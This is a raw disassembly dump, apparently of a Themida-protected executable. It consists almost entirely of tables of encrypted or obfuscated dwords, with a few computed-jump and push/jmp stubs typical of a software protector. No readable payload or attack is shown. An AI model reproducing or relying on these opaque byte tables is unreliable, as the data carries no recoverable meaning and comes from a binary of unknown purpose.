		dd 3B77238Dh, 0C5A5B314h, 811CA846h, 4030644Ch,	0BA099ACFh
		dd 71215F4Ch, 6BEC2123h, 40B200BBh, 0C88E3C48h,	0C373EC5Eh
		dd 27E92895h, 6D15E412h, 8507ABC4h, 195B2B8h, 0F5730000h
		dd 0D51294FAh, 333274DAh, 15CC563Ch, 76F2341Ah,	6B901379h
		dd 0CB818EBAh, 0ACE2ED59h, 90C6C97Ah, 75DBD416h, 9A48CF23h
		dd 0A9C97F0Ah, 814388FCh, 44F2FD6Ah, 184C94B9h,	9FE42728h
		dd 4BF9D5A7h, 0F658B05h, 0FC59D1DEh, 7F104014h,	0D5AE0B03h
		dd 0FC93CF3Bh, 0C97F0E4Eh, 230A7D5h, 1C97F0Fh, 0E410BFF3h
		dd 0E3EC5EB4h, 0C6C97BADh, 7ECE2A27h, 33DC0CFh,	0A6B2A595h
		dd 0A1CF968Ch, 13CD2713h, 0B8CA361Ch, 0C57B828Dh, 0FAF577ADh
		dd 0C0CF748Eh, 745CF1A8h
		db 20h,	70h
dword_5B1E8E	dd 0A7B850DFh		; DATA XREF: Themida_:0057C735r
		dw 46D5h
		dd 0B134BA58h, 50D8F7F3h, 0BC38C967h, 0A88F5E35h, 0E1E753h
		dd 0A1A70000h, 89BEE8AEh, 9756D086h, 0F170B298h, 0DA0E98FEh
		dd 0FF247FD5h, 3F151ACEh, 207679E5h, 44A4586h, 0E9AFA0A2h
		dd 0E3C53AFh, 15C97F0Bh, 6CB40C00h, 35C74838h, 0AD5AE0Bh
		dd 1AC42F1Ah, 0DA488815h, 0D72D51ACh, 0F5098A15h, 0E0B5DE2h
		dd 5FD30D90h, 7ED4DB05h, 0F59AD602h, 0C97F5045h, 0F121B6C2h
		dd 76C97F50h, 50E71738h, 0C07CC97Fh, 5A84DE52h,	1E4A4855h
		dd 7F50C979h, 0F3D95FC9h, 6A568142h, 0F2454F6Dh, 0AA817126h
		dd 3E631E3Ch, 96F12558h, 51FFBDE2h, 0BCF02FC4h,	0FCF36DABh
		dd 0DDD20C96h, 424DF4C0h, 0BAC886BBh, 3B678689h, 4447E614h
		dd 51CF7D6Fh, 9C7C87D9h, 6180BA72h, 1119D872h, 381E11D3h
		dd 57977CEEh, 0AFD32A58h, 0AB3D1021h, 0B4CE5D4Dh, 5FF38788h
		dd 3, 430686EDh, 29738A85h, 97ED303Fh, 7A425B54h, 0DC38C5CAh
		dd 4A926B64h, 300C919Eh, 95EF3E31h, 7E46A7A8h, 3727C6C9h
		dd 815D5455h, 4C5h, 4ED8300h, 5C242C87h, 6E0F68h, 24348900h
		dd 4C4868h, 243C8900h, 7E93B850h, 81500617h, 649E242Ch
		dd 815E1091h, 91649EC6h, 0EC835810h, 24248904h,	4240483h
		dd 3481565Fh, 0F2669B24h, 8478F24h, 8BB53h, 0FB010000h
		dd 669B3381h, 8B5B24F2h, 8957243Ch, 4C781E7h, 83000000h
		dd 3C8704C7h, 348B5C24h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 0F9F98AE9h, 9DD7ECFFh
; ---------------------------------------------------------------------------
		pop	ebx
		inc	esp


loc_5B203E:				; CODE XREF: Themida_:005B1A18j
		mov	eax, 61783EAh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0FAh
		dd 30CC99h, 0BC4765E7h,	0C252CA85h, 0FB64792Fh,	9D7976C4h
		dd 973E14D7h, 0DF7C2F67h, 0ED6DAF41h, 5262529Bh, 0CE77C2B2h
		dd 0E5600C21h, 684A5206h, 9935F0A0h, 0A5255DE8h, 514F85C1h
		dd 0E42C5859h, 5D370768h, 620E2B38h, 0F75AD152h, 377FD8E8h
		dd 7C6DE789h, 0C323E302h, 0E97373EEh, 11h, 207165AEh, 3	dup(0)
		dd 5BEE900h, 8DBB0000h,	0ED5ACC82h, 0CB7AACE2h,	2D148EC4h
		dd 0E3A6C22h, 33D84B01h, 3494682h, 0E4AAA5A1h, 0C88E8142h
		dd 0ADE3EC5Eh, 0D200176Bh, 51C97F08h, 8143C0C4h, 6D34D28Eh
		dd 2A9ECE90h, 5E44151Dh, 47CB24B0h, 3870A88Bh, 1B717EEAh
		dd 0E4EB55AFh, 11532719h, 8073CD7h, 0F39039Ah, 977679E4h
		dd 0BCE23BA9h, 46955512h, 171B25A0h, 291916CDh,	0C646BDBh
		dd 0D166A5Dh, 401619CBh, 246A65E6h, 0BF4E4182h,	2334F965h
		dd 0CF95C5F3h, 1A56C470h, 494972FCh, 0F5BDD63Eh, 0DE693F24h
		dd 6A202F18h, 51010E38h, 6B0F00C3h, 35364CB2h, 0F6F9683Ah
		dd 0DE412917h, 0CF95D62Dh, 0E7E15D49h, 6DCB4D20h, 0F929AEBFh
		dd 0ECF95DBh, 43819862h, 0FC6A0981h, 0FFE162B4h, 0FCD16C7h
		dd 828Bh, 0AAB15F00h, 525D8582h, 88A0BFB4h, 51D95758h
		dd 8E81433Bh, 74F1037Fh, 0FABEA27Bh, 968CA355h,	7E89DFCFh
		dd 0CDEF5C60h, 1120Fh, 43BA0000h, 31DF8B84h, 888265D9h
		dd 0B0B1C3DCh, 0DA22FBBFh, 4A45866Dh, 4EFBC1DCh, 994FA2D1h
		dd 62F5C544h, 0CF95D6B4h, 199705B3h, 0F970AF29h, 53AFE80Bh
		dd 6B0F00C1h, 0F67107B2h, 563C3330h, 371D12CCh,	2C239FCBh
		dd 0CF966CFEh, 0B260F705h, 0B1CF966Ch, 431D6F03h, 2F758887h
		dd 297B3738h, 1D12D63Dh, 0DB225080h, 0DF4D4281h, 0FF29825Bh
		dd 0A9A6A264h, 888741E3h, 313E2F75h, 0BDBB4741h, 0D8F3F3B0h
		dd 86439950h, 3D287489h, 1A4EEB32h, 32662B09h, 8072F31h
		dd 0BB4B0FCDh, 11000000h, 0C54A8743h, 0CF968D15h, 9568E612h
		dd 0C919E4Fh, 9EB1ED5Dh, 0CF968C70h, 0FF3179F7h, 0A9A6A264h
		dd 1DF3DFF9h, 8F05355Ah, 0F602CF95h, 0C672D5E8h, 0D2FC4CB2h
		dd 0B4CD4A2Eh, 49468392h, 1A1E8CB4h, 5B1718C8h,	57E878BDh
		dd 0D0009D92h, 0C2CC0932h, 0BCA5FFAEh, 0D1126AB3h, 0C0815B4Eh
		dd 0CB79FD92h, 707FEA32h, 0DD663AADh, 0D62C9AFFh, 0BF851817h
		dd 0C779848Bh, 748F2149h, 0CD33426Ah, 5E0C0Fh, 40D20000h
		dd 94E68A85h, 75888743h, 0EA333C2Fh, 405D5292h,	3DC0CF74h
		dd 8CA04EC1h, 9A7CF96h,	5D7F8898h, 23C34414h, 0A82803A5h
		dd 0F0B8A083h, 0C9B9B6B2h, 0EF838CBBh, 84433789h, 0D00C728Bh
		dd 968C8FBFh, 6A65E1CFh, 12AEAD93h, 8D06391Eh, 2E60CF96h
		dd 0EF330B15h, 17F0FCDh, 0D000000h, 708D8243h, 820F8402h
		dd 180673ECh, 0FB10D210h, 35C84649h, 0FEF7808h,	245BB781h
		dd 0F9B1EF8Ah, 9151BAABh, 0A3D10F9Eh, 30644CEDh, 4AFE1440h
		dd 1F28B845h, 0DB6F4C34h, 0D57A3EACh, 0D5A70C8Ah, 636CD54Fh
		dd 12CC28F5h, 73ED371Dh, 76A6A17Ch, 0FCC98505h,	6BB14C43h
		dd 0BE29F4FBh, 0F67B59EAh, 0E567A1A2h, 0C002A4EAh, 0B2C03ECFh
		dd 0A8FABEB1h, 106CB1BEh, 30C38D3h, 332C0895h, 1444E13Ch
		dd 94F43113h, 20217393h, 9D47212Fh, 2C51BF54h, 232C1E44h
		dd 2CDBE36Dh, 519709DCh, 25000001h, 0AF827B65h,	1561E6B9h
		dd 0BCE8301Dh, 59304BCCh, 8735D5A7h, 232C1E66h,	6093B6Dh
		dd 0ACA39DE7h, 230680FCh, 0BEDB8869h, 9DDB0B80h, 0DC68C984h
		dd 0D62C8554h, 0C84F82BCh, 0C9849E1Ah, 906D9B29h, 989BA2A0h
		dd 0A71534D0h, 6A8A9DD3h, 53272818h, 13CD711h
		db 0Eh,	0FFh, 83h
byte_5B243B	db 8Ch			; DATA XREF: Themida_:loc_57C712r
		dd 0C985155Eh, 0ABD957E5h, 98A39BE5h, 8EE409DCh, 71E6525Dh
		dd 0C98521C1h, 31462A46h, 38h, 3F6BB4DFh, 8CFECC43h, 0B7C54F96h
		dd 8D43F356h, 54A24F96h, 8DC77718h, 0E25D4F96h,	0B6EB5901h
		dd 0ED8533D0h, 3899A8BBh, 0CB1B3C6Ch, 98CF9764h, 0A112266Ch
		dd 38000000h, 0DCFA6CB4h, 0AFA200B9h, 7375C15h,	1CCF95C8h
		dd 2FACFC70h, 48C64555h, 9EE96EDAh, 0A3D5A71Fh,	0B2AC8815h
		dd 934DD7BDh, 13C6019Ch, 0A1C98511h, 9B944CA7h,	9C44906Dh
		dd 0BBED0A93h, 71278AA8h, 393630F6h, 8EDA2653h,	8A8540D2h
		dd 23F59AE6h, 24CF9C94h, 9415C54Ah, 0E612CF8Fh,	7AEA3868h
		dd 2B595691h, 9C4E9647h, 20FDF277h, 0C67B8230h,	3341A1A2h
		dd 95EF3E31h, 0E45CA1AEh, 0C9170276h, 3DC0CF79h, 0FC6A65E7h
		dd 0AB7D124Eh, 0EFD5A718h, 0F6E9CB3h, 47F5C985h, 763A352Dh
		dd 0EB652B59h, 48386CB4h, 0AE11F5C7h, 6FBECAD5h, 71E62B15h
		dd 0C97F08C1h, 0D6BC2A46h, 9D924Ch, 0E5F862C9h,	1E297FEFh
		dd 31616ED8h, 76B64E3h,	8A8547E1h, 3DED62DEh, 0CAAF2521h
		dd 0FF23FABEh, 99D5A2D1h, 70380F43h, 0E5383732h, 58A5AA9Fh
		dd 3FCEC17Ch, 0FFDD663Ah, 0C5253E42h, 9924A2DBh, 0BED1C228h
		dd 0AF24A990h, 87EB1997h, 0BCECE35Dh, 60024B12h, 0ADB38FA8h
		dd 6BD28E3Bh, 1670BB9h,	53AAA5A7h, 1FE7h, 0F969BB00h, 0C3DAD512h
		dd 9CB3EF1Dh, 0AF24C06Eh, 0D93347F5h, 0BBDC0886h, 0CF968C8Bh
		dd 0F6046C98h, 738A8543h, 0ED303F29h, 425B5497h, 38C5CA7Ah
		dd 926B64DCh, 0C919E4Ah, 0EF3E3130h, 46A7A895h,	27C6C97Eh
		dd 0E6895637h, 4C681h, 0EE810000h, 4, 5C243487h, 68243489h
		dd 0A7Eh, 68241489h, 0EE7h, 0BA242C89h,	92F1F66h, 3FB2EA81h
		dd 0B85009E0h, 0F9375ABCh, 5458C229h, 83242C8Bh, 895004C4h
		dd 348150D0h, 0F14DF524h, 8458F6Ch, 0F5087581h,	586CF14Dh
		dd 53242C8Bh, 0C381E389h, 4, 8704C383h,	0FF5C241Ch, 835A2434h
		dd 50E904C4h, 62FFF9F3h, 0F84A6A43h, 64B4F56Ch,	178A37B8h
		dd 0FFC50306h, 834D72E0h, 8BDF903Eh, 95846D06h,	799CFC1Fh
		dd 0C4AD005Eh, 0C5172E7Dh, 0DC2B285Dh, 3B10A16Bh, 6EACD054h
		dd 0FE84Fh, 0DE4E0000h,	0AB268152h, 0E10FEB16h,	5E8F856h
		dd 34EB813Ch, 58217E39h, 0C0815AB3h, 7200h, 70F937BBh
		dd 0FD2330Fh, 34FFDABFh, 0CB8B6602h, 0C8B70F5Fh, 0E2EC781h
		dd 8A0F70E8h, 6, 6637C681h, 0C781774Eh,	3A3B0B3h, 81F18B66h
		dd 960F7DEFh, 3810F65h,	66000000h, 0E857CE8Bh, 14h, 0BCCB066h
		dd 805DE26Ah, 276EB1C8h, 4A7E8003h, 969443B4h, 5B8FED80h
		dd 0E810048Fh, 5, 6655D5A3h, 6DF7808Eh,	4EA835Bh, 0EE9h
		dd 0C8CA3C00h, 8E179D7Bh, 2E9BE78h, 81B409F1h, 0FF8EACFAh
		dd 7B850FFFh, 80FFFFFFh, 9E900C9h, 0D2000000h, 3F7B91h
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5B2C2F
; ---------------------------------------------------------------------------
		push	6178CE2h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6178D5Eh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6178EB2h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		db 8Ah
		dd 0ABFD535Ch, 4BDDB3BCh, 65BF959Ah, 0B9DF3FCh,	297AD0DFh
		dd 626DD504h, 454AFA2Ch, 0A5AA950Fh, 848BB5EFh,	233444CEh
		dd 0C97F01F3h, 43E12370h, 9758887h, 0A4A04BFBh,	2F753DABh
		dd 3D5C323Dh, 0B9CB87D3h, 91ED858Ah, 151ACF25h,	7F204888h
		dd 0D5A7AAF4h, 0CC32CB79h, 0CCBCB3B6h, 856E9B4Bh, 141CA8C9h
		dd 856EFF33h, 0FDF271C9h, 5769A020h, 38C14372h,	2BF2FD6Eh
		dd 0A38182C6h, 0B7A9BAEEh, 9DCCE8Fh, 2E3C3h, 29656900h
		dd 968CF826h, 0B9F10FCFh, 866221B8h, 0EF166D2h,	40D5A793h
		dd 458DD646h, 31267E27h, 0C984EE01h, 2A7CEA06h,	55423639h
		dd 0ACE76A27h, 33C6EA53h, 0F7F865D5h, 0CCBC2A16h, 82697690h
		dd 0DAD9E42h, 8CE1C265h, 0B95DA33h, 5D275BC4h, 0CDEA8E4Ah
		dd 0EDE8CE2Fh, 0E866FE75h, 1BCB4CB8h, 28D2315Eh, 0B58CFE9Ch
		dd 0E671F55Fh, 0AA76DB92h, 0FF8D82FEh, 48D841F3h, 34364C3Ch
		dd 0F2606FDFh, 0D7D80A9Ch, 3BC6943Ah, 0B3A78472h, 2C4h
		dd 0E6ACA3A1h, 0C28887BCh, 0A4EAE560h, 82C8C702h, 692F2020h
		dd 7CE4153Eh, 5B8B1D73h, 0BBA4FE54h, 9A44DEB4h,	575BF95h
		dd 7F00E412h, 0F23263C9h, 48386CB4h, 0AE18B4C7h, 0F7B89D5h
		dd 0A3A64DF5h, 0B929D48h, 7929A7D5h, 1A33C2Bh, 126ABA5Bh
		dd 0A69A6391h, 0C65CACD2h, 4CF40906h, 454AFE24h, 96CA1B8h
		dd 0CE78C97Fh, 0D89C6351h, 34A22039h, 0A7FD0BE5h, 382EFF70h
		dd 248h, 6228271Dh, 460C03C0h, 286E61DCh, 0E444BFEh, 0EDA3AC94h
		dd 0E06091BAh, 0CF7FA9EFh, 2F188AC0h, 0E386A20h, 0B1C94B01h
		dd 7EFF709Eh, 6E9EF7C9h, 48386CB4h, 0AE18B4C7h,	0F7B89D5h
		dd 18EBCD3h, 63E0C97Fh,	59D16F6Ch, 1954980h, 6BDFC97Fh
		dd 0A2379964h, 467895Fh, 6A8142D4h, 3729F4FBh, 91C764B9h
		dd 4BDDB496h, 1BE58B8h,	7BBABA54h, 9A43B1F1h, 9D12DEFCh
		dd 98AF9795h, 55E309DAh, 89000001h, 7F8E8143h, 5E343B25h
		dd 0D181D533h, 0D4DB0F65h, 0B238FB5Ch, 247ED5A7h, 76EA333Ch
		dd 86679502h, 85678F43h, 0B94ADEC9h, 0DCCE9FA7h, 37D309h
		dd 0B4790000h, 1C48386Ch, 0B76664F2h, 82F64735h, 0A6C8A69Dh
		dd 68B5C3D5h, 84C03DF1h, 0F1888C9h, 0DC232D11h,	29146E09h
		dd 7B19C726h, 85E29849h, 1D720647h, 0AEh, 0DE7B65A3h, 62F0D6Ch
		dd 62BE29FCh, 79C54264h, 7E71F331h, 0E2ED55AFh,	807C11Bh
		dd 111ECA58h, 2C2548Ch,	2840F00Dh, 36392B71h, 0D9090E7Ah
		dd 6ECF95D7h, 13385ED2h, 0CF95DCBDh, 3C121DCFh,	0ABE7B31Dh
		dd 0A98B08A4h, 0B1E11FD5h, 0DE29DD17h, 80E80903h, 353A2E44h
		dd 121DC55Fh, 5C063F87h, 0C076D78Fh, 0F4h, 167C73F1h, 0F258578Ch
		dd 0D4BAB5B0h, 0B2989752h, 99FFF070h, 0C34E50Eh, 6BDB4D03h
		dd 4BF42E64h, 0AA940E44h, 55A5EFA5h, 7EFF14C2h,	20213C9h
		dd 0D5DA0F65h, 0CCC3075Dh, 0EF221C86h, 968CBA68h, 8D3B49CFh
		dd 814375C7h, 3B257F8Eh, 0D5335E34h, 46F4FB65h,	0DB0F050Ah
		dd 0DC68D5A7h, 0DDD2166Ch, 3F1ED077h, 9650C985h, 3D57B399h
		dd 4DF30A05h, 444BFF25h, 7A8DB9h, 37D10000h, 3FE83B83h
		dd 0C6347C99h, 0D0DF0F65h, 4713FD58h, 0EC63DF0Bh, 0CF968C3Eh
		dd 8A1727C5h, 4F6F5C54h, 0E1F659D1h, 46D5ADB8h,	5F89D32Ah
		dd 0BEA8FA50h, 0E2C7C1B1h, 9ACD4960h, 4FB36A0Eh, 0F8050A35h
		dd 130F3078h, 4002EA92h, 43FD3BCCh, 42861C4Ch, 61C3254Dh
		dd 0CF15E8E7h, 4B88151Ah, 7EACA31Fh, 85901A8Fh,	5AED0377h
		dd 0E7ADA29Ch, 718C83BDh, 3C5h,	6869700h, 738A8543h, 0ED303F29h
		dd 425B5497h, 38C5CA7Ah, 926B64DCh, 0C919E4Ah, 0EF3E3130h
		dd 46A7A895h, 27C6C97Eh, 19116837h, 0C890000h, 7DFD6824h
		dd 14890000h, 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h
		dd 56240489h, 0B52EB0BEh, 0CAE6812Ah, 0F76C5845h, 0E6CE81D6h
		dd 0F707E618h, 0FAF681D6h, 89651665h, 0EAC15EF2h, 0C1DAF707h
		dd 0C28105EAh, 2577753Fh, 2F11F281h, 30682B65h,	89000045h
		dd 4832424h, 83580424h,	148904ECh, 8408F24h, 5024048Bh
		dd 405E089h, 5000000h, 4, 5C240487h, 5624148Bh,	0C681E689h
		dd 4, 8704C683h, 0E95C2434h, 0FFF9ED97h
; ---------------------------------------------------------------------------
		sub	edx, [ebp-64h]


loc_5B2C2F:				; CODE XREF: Themida_:005B276Cj
		mov	eax, 6178FCBh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 4DA5082Eh, 50E45E5Dh, 75FF0434h, 491EA8FDh, 0F06A0B0h
		dd 4CA5F4BDh, 7BED6B3Bh, 2E1EA2A8h, 21584776h, 62DC61Dh
		dd 6D7EA3D3h, 3615D406h, 13AF0289h, 2E69E9DDh, 3624F646h
		dd 7378C18Ah, 2D671483h, 176F08EAh, 33A3EE59h, 5CDA7ADEh
		dd 5FA1584Bh, 794E2F15h, 7AD2CB93h, 3DB4A6h, 434BA0CBh
		dd 793F3882h, 5D36A6D9h, 57CED4F0h, 1B7DA9A0h, 3D078990h
		dd 919A8D8Dh, 0B5890617h, 6110CB9h, 285D8D89h, 0BD890611h
		dd 6112931h, 2DD185C7h,	58AC0611h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 36A1D6C3h
		dd 59B5894Ch, 0C706110Dh, 11270985h, 6,	99B5FF00h, 0E8061131h
		dd 13h,	129E67B4h, 4B08B4F9h, 0ADD0410Fh, 592D1695h, 8BACC91Fh
		dd 1103ED95h, 95FF5E06h, 6111DA9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 5AC35545h, 0F050178Fh, 0FF221291h
		dd 38D0Fh, 0BF0F0000h, 0FF006AF8h, 1105C595h, 0EBC08B06h
		dd 7609F308h, 6C0AEE8Ch, 62B4532Fh, 20BF5DB1h, 0AA56AEB1h
		dd 9274DA43h, 0DBCA3A63h, 2C0B3DD1h, 103F9A4Bh,	77567555h
		dd 3256B2B3h, 30D352B1h, 5256AEB1h, 0DB5657D0h,	3256ABB7h
		dd 0E1D57CF9h, 1EEACDDh, 325677F4h, 0E87B2BB1h,	0C7509A28h
		dd 32B0E3A7h, 3256ABB1h, 0DB56AB49h, 3256D5B8h,	271BB5E4h
		dd 824ED854h, 0DB56BAFFh, 32565DBFh, 4CF1D2CAh,	0CFD50496h
		dd 0A6FFF804h, 32568945h, 33DFE549h, 0C75675B1h, 320C990Dh
		dd 32565DB8h, 1BB1D0D6h, 9D94FFF6h, 5CEFCD22h, 3256B4A6h
		dd 32576CBEh, 59AE75B1h, 3256E6B1h, 94675DB1h, 8C71CDB8h
		dd 3256FC2Fh, 32565348h, 325A54BEh, 0B059EAB1h,	325675B7h
		dd 325634BEh, 32AE5DB1h, 325652B1h, 325ADBBEh, 0BF59ABB1h
		dd 3256D5B7h, 325664BEh, 325675B1h, 325E3BBEh, 0BB595DB1h
		dd 3256AEB3h, 325636D1h, 5256AB4Dh, 324652BEh, 39BFEAB1h
		dd 0A65675B1h, 2C83D86Ah, 4E5F9453h, 53AF271Ch,	35BF57B1h
		dd 3656ABB1h, 853735BEh, 3256D536h, 0DB56754Dh,	3256BABCh
		dd 6F54801Ch, 48E772D1h, 8CF3F39Bh, 0DB56ABBDh,	3256D5B4h
		dd 13F71147h, 0DB56750Ch, 3256BABBh, 531C50A4h,	0E1723748h
		dd 3256E08Eh, 32572EBEh, 32A3D5B1h, 325612B1h, 0F1DD13D1h
		dd 325033BEh, 0B9595DB1h, 3256AEB1h, 3D5657D0h,	3256B93Ah
		dd 325B3CB1h, 0E48DEAB1h, 9DF95BA0h, 0A06C0C57h, 3227B07Dh
		dd 32A352B1h, 325CBEB1h, 0E728ABB1h, 36EEA633h,	0F93ECD0Ch
		dd 32567358h, 46B814B1h, 3240F75Eh, 325347B1h, 6EBF57B1h
		dd 32C1CE0Fh, 0BF592CB1h, 3256EAA3h, 32567858h,	485D86B1h
		dd 0F284145Dh, 205C026Fh, 3256953Ch, 3256A94Dh,	8B654B1h
		dd 32371304h, 32519CB1h, 1114BAB1h, 8713E648h, 3A51791Ah
		dd 295656B1h, 3756A9B1h, 2956DDB1h, 32AAEAB2h, 33DF7AB1h
		dd 0C756BAB1h, 0BB595DB1h, 3256AEB0h, 0DB565749h, 3256ABA2h
		dd 0EE3E17D2h, 60E72E88h, 623756DBh, 0A86CD46Bh, 32FE8198h
		dd 325652B1h, 3257D5BEh, 32AEABB1h, 32583CB1h, 3DA5EAB1h
		dd 3AE8FCE8h, 0B90DA014h, 8A24E789h, 301FAEB1h,	3ED558B1h
		dd 3D56ABB1h, 3256D33Eh, 32D6E5B1h, 325675B1h, 3254F3B1h
		dd 4BB95DB1h, 73DEAFCFh, 0B9A9E62Ah, 0A67CE1FDh, 325D3CD1h
		dd 0BCE3EAB1h, 1AEC3B9Fh, 0E720EA3Ch, 0BF7AE5FBh, 3237F66Ah
		dd 0F1DD37B1h, 86AACBD0h, 0F27DB4A6h, 34BF8AE3h, 645675B1h
		dd 0D0FB7E66h, 3593CC2h, 3FBF32D1h, 0D35657B1h,	2FA26CB7h
		dd 2B36B623h, 0E7DA556Fh, 32566558h, 8407C2B1h,	70DB7906h
		dd 0BCDF3EE2h, 0A813EB1Eh, 8A30367Ah, 6837D216h, 0DB36BAE9h
		dd 325675BFh, 87BA258Fh, 38EE6FBh, 5FD239A7h, 85596413h
		dd 30C0CA7Eh, 7C1F85A2h, 3D5396DEh, 32509C80h, 5570BAB1h
		dd 31E4E0A5h, 76DFF6EBh, 54365395h, 8D30643Ah, 6A37E267h
		dd 3598B1Ch, 39BF27E1h,	0E556BAB1h, 41B4F075h, 0FD780781h
		dd 35932EDh, 359F9E1h, 6A0C8DEBh, 32DDB2EBh, 3D3627E1h
		dd 0B9306C0Eh, 3593C49h, 3256A258h, 70DB73B1h, 0BCDF3BE2h
		dd 0A813691Eh, 0BB0EB07Ah, 525251F5h, 3244532Dh, 71A45DB1h
		dd 0AD685771h, 891CE25Dh, 0A5409A69h, 1F4B835h,	31B81B30h
		dd 26BF24CDh, 2E56BAB1h, 3AFDA794h, 86D16810h, 1275056Ch
		dd 7E293568h, 0AFCD7F24h, 6A378105h, 325675ABh,	325B53D1h
		dd 5235DB1h, 7CF20B5Bh,	0D66DFE21h, 3DCE86DEh, 3256D531h
		dd 32568BB1h, 32567A58h, 7524F9B1h, 0AE717C1Ah,	16DF016h
		dd 32BAB49Bh, 0B859ABB1h, 3256D5A3h, 325F03D1h,	0AC7D75B1h
		dd 126EBB3Fh, 624B55B7h, 3256CFEEh, 0C9DD37D1h,	3256B858h
		dd 0EC2A11B1h, 20A24881h, 38418C76h, 3EC3395Ah,	0DBEF35B4h
		dd 3256CFD0h, 30D658D1h, 6256ABB1h, 3256B4EEh, 0F5DD8CD1h
		dd 3D5675D0h, 3256B637h, 34D652B1h, 3D56AEB1h, 32565736h
		dd 3D56ABB1h, 3256DF35h, 0B3308AB1h, 5458015Fh,	3237793Ah
		dd 3251B4B1h, 9038AEB1h, 4A195323h, 0DB56AB78h,	3256D5B7h
		dd 7D06B68Ah, 325605A5h, 325352D1h, 0D38A5DB1h,	65894714h
		dd 0C5D70CEAh, 3B9C890Dh, 3D56D5D0h, 3256F13Bh,	26BF15B1h
		dd 9356BAB1h, 0E6B700ECh, 87380156h, 0F713DCB7h, 0D68E7C30h
		dd 532E3B9Bh, 32A3EAB1h, 325680B1h, 3256B758h, 0B3C8DB1h
		dd 0C9DB3BFBh, 0DA55E27h, 21BFABA6h, 3E56D5B1h,	9F72A935h
		dd 98D0F150h, 0D13AA4C6h, 0FA4E48FFh, 32567688h, 0CB56574Dh
		dd 0DB36ABB1h, 3256D5A0h, 30378F89h, 6BA85608h,	940627BBh
		dd 0A0DBBF8Bh, 0CB375784h, 0B25957B1h, 3256ABBDh, 3256D258h
		dd 0C75C4BB1h, 0BA98AAD3h, 325E38BEh, 0C7365DB1h, 7940C20Eh
		dd 325636F7h, 325E20BEh, 0BF59D5B1h, 3256EAB3h,	23BF14D1h
		dd 6856BAB1h, 6B734682h, 0CEEAF456h, 0CA3D50F0h, 43D09696h
		dd 0B159D5B1h, 3256EAB8h, 0D1D713D1h, 0FDDD8EB8h, 0CB565DD0h
		dd 32AFAEB1h, 3FBFA2B1h, 0A956ABB1h, 0C616FF0Fh, 10B8DEC9h
		dd 9574DFF2h, 0B759BAB1h, 32565DB6h, 3D37CED1h,	32379F06h
		dd 0E8EECBB1h, 52582AC4h, 3256FE59h, 8F212AB1h,	0F5752A59h
		dd 9C36A291h, 0F73E7FCEh, 8C5C67C7h, 5337F2BAh,	20BFD5B1h
		dd 6356EAB1h, 0FE5A73EDh, 6F1F7B96h, 5CAA6E04h,	8C29FB35h
		dd 3D565717h, 3256B931h, 3EDCDAB1h, 0DB56EAB1h,	325675B6h
		dd 0F85CAE48h, 32143F67h, 32565BB1h, 0DB565748h, 3256ABA1h
		dd 7E6E4813h, 602BEA70h, 6D1F760Fh, 4A0CFA0h, 0B9365DB1h
		dd 37DDA140h, 545657B1h, 93F64130h, 5256D5D0h, 3256ED58h
		dd 0EC797BB1h, 73C72BF0h, 6E08B70Eh, 3256CF97h,	325636D1h
		dd 32532BBEh, 5236D5B1h, 323713D0h, 32449CB1h, 1792BAB1h
		dd 4CD1CDDDh, 0A6CDF0B6h, 0E773C83Fh, 46C45976h, 3CBFD5B1h
		dd 0E756EAB1h, 7278DD12h, 45EF04F9h, 0D8F30556h, 0DB56AE3Ah
		dd 325657BEh, 685E0FDh,	7430C8EAh, 8BCB97BCh, 32B10A65h
		dd 325643B1h, 32563CD1h, 325725BEh, 32AA57B1h, 3AD1A4B1h
		dd 3D56D5B1h, 3256E833h, 323715B1h, 325642B1h, 32565158h
		dd 0F5FFCAB1h, 0F3E078A7h, 59DE707Bh, 0DB56D5CAh, 3256EABFh
		dd 76249B35h, 33BAC877h, 0CFD1385Fh, 32569B20h,	32565258h
		dd 23182CB1h, 32565607h, 3256E658h, 0C537D5B1h,	0B9B730DDh
		dd 9EC37ECFh, 3D56AEBAh
		dd 32565F31h, 30D4A4B1h, 5256D5B1h, 5256EAD0h, 6A64C6E2h
		dd 0DB56BAD0h, 32565DB6h, 13EF5EF9h, 3200B094h,	23BECBB1h
		dd 0B356D5B1h, 0F2247809h, 0ADEE78Fh, 738E1020h, 0D0D35A7Ah
		dd 77D59608h, 39BF0EEFh, 6D56ABB1h, 63EDA065h, 1E325693h
		dd 3237CDE8h, 325A53B1h, 0BFC05DB1h, 8E3963CFh,	98AD5612h
		dd 32565F9Bh, 0C2DDB3D1h, 3256F958h, 0C0B65FB1h, 58F63094h
		dd 0F6B61198h, 4E4D52DFh, 0A192E476h, 24D9A4D0h, 5256D5B1h
		dd 3256E159h, 729621B1h, 0BB75689Bh, 827536A1h,	0E68F2EE9h
		dd 0CE5657D0h, 0BD59ABB1h, 3256D5BBh, 3256EF58h, 4EBAAAB1h
		dd 32561417h, 32564F58h, 7CF6A0B1h, 57F2BD65h, 4C4266A4h
		dd 1A48CEC7h, 32137780h, 325E9CB1h, 41B9BAB1h, 3132ACC6h
		dd 3256BCDEh, 32565058h, 3B08AEB1h, 93C11A7Ah, 0DB36EAB1h
		dd 325675B9h, 0A2598EA6h, 0E5C92D11h, 619A10D7h, 33DC58D0h
		dd 0CE56ABB1h, 32A3D5B1h, 33D8E5B1h, 0CB5675B1h, 32AABAB1h
		dd 34BFA4B1h, 2856AEB1h, 13B0A75Eh, 3D56AB65h, 3256DD36h
		dd 30DFE5B1h, 525675B1h, 5256BAD0h, 0C188DCD7h,	0EDE1A18Ah
		dd 3D5657D0h, 3256A236h, 6906B5B1h, 0E8D6BD7h, 32561479h
		dd 325733BEh, 32AF5DB1h, 325047B1h, 257357B1h, 0BD09EC17h
		dd 3256DA58h, 6CD311B1h, 0BDD57038h, 8924B517h,	420074F5h
		dd 32AAAEB1h, 3259BEB1h, 76C7ABB1h, 0E7888E2Eh,	166415D3h
		dd 31F987C3h, 0DB56BA79h, 32565DA0h, 1D3AA45Fh,	1386121Dh
